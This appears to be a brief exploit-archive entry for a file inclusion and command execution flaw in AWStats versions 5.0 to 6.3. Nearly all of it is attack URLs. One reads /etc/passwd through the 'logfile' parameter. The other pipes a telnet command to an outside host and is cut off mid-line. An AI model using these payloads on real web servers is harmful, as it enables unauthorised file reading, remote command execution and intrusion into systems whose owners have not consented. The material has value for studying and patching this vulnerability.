AWStats 5.0 < 6.3 - 'logfile' File Inclusion / Command Execution

Example: http://target/awstats.pl?filterrawlog=&rawlogmaxlines=5000&config=stats.jdims.info&framename=main&pluginmode=rawlog&log file=/etc/passwd http://target/awstats.pl?filterrawlog=&rawlogmaxlines=5000&config=stats.jdims.info&framename=main&pluginmode=rawlog&logfile=&logfile=|telnet milw0rm.co...